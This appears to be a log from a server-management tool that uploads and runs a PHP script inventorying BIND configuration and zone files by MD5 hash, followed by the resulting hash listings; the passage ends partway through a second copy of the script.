MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 17:34:44: Establishing a connection
2026-04-24 17:34:44: 

PUT: /tmp/pkp855346

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 17:34:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp855346; rm /tmp/pkp855346'

2026-04-24 17:34:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 18:17:58: Establishing a connection
2026-04-24 18:17:59: 

PUT: /tmp/pkp364699

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
